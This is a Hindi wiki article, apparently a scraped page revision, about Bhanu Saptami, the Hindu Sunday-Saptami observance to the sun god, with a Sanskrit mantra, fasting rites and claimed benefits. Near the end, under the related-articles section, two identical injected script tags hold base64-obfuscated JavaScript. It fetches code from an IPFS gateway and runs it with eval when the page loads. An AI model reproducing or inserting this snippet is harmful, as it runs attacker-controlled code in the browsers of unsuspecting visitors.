भानु सप्तमी

भारत डिस्कवरी प्रस्तुति
Revision as of 05:10, 22 April 2018 by रविन्द्र प्रसाद (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
भानु सप्तमी
अनुयायी हिंदू
उद्देश्य इस दिन भगवान सूर्यनारायण के निमित्त व्रत करते हुए उनकी उपासना करने से अत्यधिक पुण्य प्राप्त होता है।
प्रारम्भ पौराणिक काल
तिथि रविवार के दिन सप्तमी
अनुष्ठान सूर्य देव को पौष में तिल और चावल की खिचड़ी का भोग लगाने के साथ बिजौरा नींबू समर्पित करना चाहिए।
धार्मिक मान्यता ताम्र के पात्र में शुद्ध जल भरकर तथा उसमें लाल चंदन, अक्षत, लाल रंग के फूल आदि डालकर सूर्यनारायण को अर्ध्य देना चाहिए।
अन्य जानकारी पौराणिक ग्रंथों और शास्त्रों में भानु सप्तमी के पर्व को सूर्य ग्रहण के समान प्रभावकारी बताया गया है। इसमें जप, होम, दान आदि करने पर उसका सूर्य ग्रहण की तरह अनन्त गुना फल प्राप्त होता है।

भानु सप्तमी को हिन्दू मान्यताओं और ग्रंथों में बड़ा ही शुभ दिन माना गया है। रविवार के दिन सप्तमी तिथि के संयोग से 'भानु सप्तमी' नामक विशेष पर्व का सृजन होता है। इस दिन भगवान सूर्यनारायण के निमित्त व्रत करते हुए उनकी उपासना करने से अत्यधिक पुण्य प्राप्त होता है।

मंत्र

पौष मास में द्वादश आदित्यों में 'भग' नामक सूर्य की आराधना की जाती है। इनका ध्यान निम्न मंत्र के उच्चारण के साथ किया जाता है-

भग: स्फूर्जोऽरिष्टनेमिरूर्णआयुश्चपञ्चम:।
कर्कोटक:पूर्वचित्ति:पौषमासंनयन्त्यमी॥
तिथिमासऋतूनांचवत्सरायनयोरपि।
घटिकानांचय:कर्ता भगो भाग्य प्रदोऽस्तुमे॥

अर्थात् "पौष मास में 'भग' नामक आदित्य (सूर्य) अरिष्टनेमि ऋषि, पूर्वचित्ति अप्सरा, ऊर्ण गन्धर्व, कर्कोटक सर्प, आयु यक्ष तथा स्फूर्ज राक्षस के साथ अपने रथ पर संचरण करते हैं। तिथि, मास, संवत्सर, अयन, घटी आदि के अधिष्ठाता भगवान भग मुझे सौभाग्य प्रदान करें।"

व्रत विधि

ग्यारह हज़ार रश्मियों के साथ तपने वाले सूर्य 'भग' रक्तवर्ण हैं। यह सूर्यनारायण के सातवें विग्रह हैं और ऐश्वर्य रूप से पूरी सृष्टि में निवास करते हैं। सम्पूर्ण ऐश्वर्य, धर्म, यश, श्री, ज्ञान और वैराग्य, ये छह भग कहे जाते हैं। इन सबसे सम्पन्न को ही भगवान माना जाता है। अस्तु श्रीहरि भगवान विष्णु के नाम से जाने जाते हैं। पौष मास के प्रत्येक रविवार को 'विष्णवे नम:' मंत्र से सूर्य की पूजा की जानी चाहिए। ताम्र के पात्र में शुद्ध जल भरकर तथा उसमें लाल चंदन, अक्षत, लाल रंग के फूल आदि डालकर सूर्यनारायण को अर्ध्य देना चाहिए। रविवार के दिन एक समय बिना नमक का भोजन सूर्यास्त से करना चाहिए। सूर्य देव को पौष में तिल और चावल की खिचड़ी का भोग लगाने के साथ बिजौरा नींबू समर्पित करना चाहिए।

महत्त्व

पौराणिक ग्रंथों और शास्त्रों में भानु सप्तमी के पर्व को सूर्य ग्रहण के समान प्रभावकारी बताया गया है। इसमें जप, होम, दान आदि करने पर उसका सूर्य ग्रहण की तरह अनन्त गुना फल प्राप्त होता है। सूर्य प्रत्यक्ष देवता हैं। इनकी अर्चना से मनुष्य को सब रोगों से छुटकारा मिलता है। जो नित्य भक्ति और भाव से सूर्यनारायण को अर्ध्य देकर नमस्कार करता है, वह कभी भी अंधा, दरिद्र, दु:खी और शोकग्रस्त नहीं रहता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः